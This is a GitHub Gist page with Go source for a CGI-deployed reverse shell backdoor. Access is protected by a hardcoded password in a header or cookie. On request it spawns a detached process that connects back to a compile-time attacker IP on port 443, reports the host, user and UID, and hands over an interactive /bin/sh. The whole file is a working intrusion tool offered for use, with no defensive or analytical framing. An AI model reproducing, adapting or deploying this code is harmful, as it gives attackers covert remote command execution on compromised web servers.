Skip to content

Instantly share code, notes, and snippets.

@canaria-computer
Created May 25, 2025 08:40
Show Gist options
  • Save canaria-computer/711cb99360e8e7152c1104b12e36f0e6 to your computer and use it in GitHub Desktop.
Save canaria-computer/711cb99360e8e7152c1104b12e36f0e6 to your computer and use it in GitHub Desktop.
go-cgi-reverse-shell-example
//go:build unix
// +build unix
package main
import (
"crypto/subtle"
"flag"
"fmt"
"net"
"net/http"
"net/http/cgi"
"os"
"os/exec"
"strconv"
"syscall"
"time"
"github.com/charmbracelet/log"
)
const (
listenerPort = 443
authPass = "HT1xFnpXWx1hnLjASce0LN8eaSyk1TEDEuBF0cx"
connectTimeout = 30 * time.Second
shutdownTimeout = 5 * time.Second
)
// コンパイル時に-ldflags="-X main.listenerIP=<IP>"で指定
var listenerIP string
func init() {
if listenerIP == "" {
listenerIP = "127.0.0.1" // デフォルト値
}
}
func main() {
defer func() {
if r := recover(); r != nil {
log.Error("Main panic recovered", "error", r)
os.Exit(1)
}
}()
shellCmd := flag.Bool("shell", false, "Start a reverse shell")
configCmd := flag.Bool("config", false, "Show current configuration")
flag.Parse()
switch {
case *shellCmd:
reverseShell()
return
case *configCmd:
showConfig()
return
default:
err := cgi.Serve(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if authenticated(r) {
handler(w, r)
} else {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
}
}))
if err != nil {
fmt.Print("Content-Type: text/plain\n\n")
fmt.Printf("CGI error: %v\n", err)
}
}
}
func authenticated(r *http.Request) bool {
authHeader := r.Header.Get("X-Auth")
if subtle.ConstantTimeCompare([]byte(authHeader), []byte(authPass)) == 1 {
return true
}
authCookie, err := r.Cookie("X-Auth")
if err == nil && subtle.ConstantTimeCompare([]byte(authCookie.Value), []byte(authPass)) == 1 {
return true
}
return false
}
func showConfig() {
fmt.Println("Current Configuration:")
fmt.Printf("Listener IP: %s\n", listenerIP)
fmt.Printf("Listener Port: %d\n", listenerPort)
fmt.Printf("Connect Timeout: %s\n", connectTimeout)
fmt.Printf("Shutdown Timeout: %s\n", shutdownTimeout)
}
func reverseShell() {
// リバースシェル接続を試行
conn, err := net.DialTimeout("tcp", net.JoinHostPort(listenerIP, strconv.Itoa(listenerPort)), connectTimeout)
if err != nil {
log.Error("Connection failed", "error", err)
return
}
defer func() {
if err := conn.Close(); err != nil && !os.IsTimeout(err) {
log.Error("Connection close error", "error", err)
}
}()
tcpConn, ok := conn.(*net.TCPConn)
if !ok {
log.Error("Invalid TCP connection type")
return
}
file, err := tcpConn.File()
if err != nil {
log.Error("File descriptor conversion failed", "error", err)
return
}
defer func() {
if err := file.Close(); err != nil {
log.Error("File close error", "error", err)
}
}()
fd := int(file.Fd())
for _, dstFd := range []int{0, 1, 2} {
if err := syscall.Dup2(fd, dstFd); err != nil {
log.Error("Dup2 failed", "fd", dstFd, "error", err)
return
}
}
// 環境情報を送信
hostname, _ := os.Hostname()
fmt.Printf("\n[+] Reverse shell established\n")
fmt.Printf("[+] Host: %s\n", hostname)
fmt.Printf("[+] User: %s\n", os.Getenv("USER"))
fmt.Printf("[+] UID: %d\n", os.Getuid())
fmt.Printf("[+] GID: %d\n\n", os.Getgid())
cmd := exec.Command("/bin/sh", "-i")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Start(); err != nil {
log.Error("Shell start failed", "error", err)
return
}
done := make(chan error, 1)
go func() { done <- cmd.Wait() }()
select {
case err := <-done:
if err != nil {
log.Error("Shell execution failed", "error", err)
}
case <-time.After(shutdownTimeout):
log.Error("Shell execution timed out")
_ = cmd.Process.Kill()
}
}
func startDetachedShell() string {
// リバースシェルプロセスを起動
cmd := exec.Command(os.Args[0], "-shell")
cmd.SysProcAttr = &syscall.SysProcAttr{
Setsid: true,
}
devNull, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if err != nil {
log.Error("/dev/null open failed", "error", err)
} else {
cmd.Stdin = devNull
cmd.Stdout = devNull
cmd.Stderr = devNull
defer devNull.Close()
}
// プロセス起動
if err := cmd.Start(); err != nil {
return fmt.Sprintf("Start failed: %v", err)
}
return fmt.Sprintf("Shell started with PID: %d\n", cmd.Process.Pid)
}
func handler(w http.ResponseWriter, r *http.Request) {
action := r.URL.Query().Get("action")
var result string
defer func() {
if r := recover(); r != nil {
log.Error("Panic recovered", "error", r)
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
}
}()
switch action {
case "start":
result = startDetachedShell()
case "status":
result = "Status check not available (PID tracking disabled)"
default:
http.Error(w, "Invalid action", http.StatusBadRequest)
return
}
w.Header().Set("Content-Type", "text/plain")
if _, err := fmt.Fprint(w, result); err != nil {
log.Error("Response write failed", "error", err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment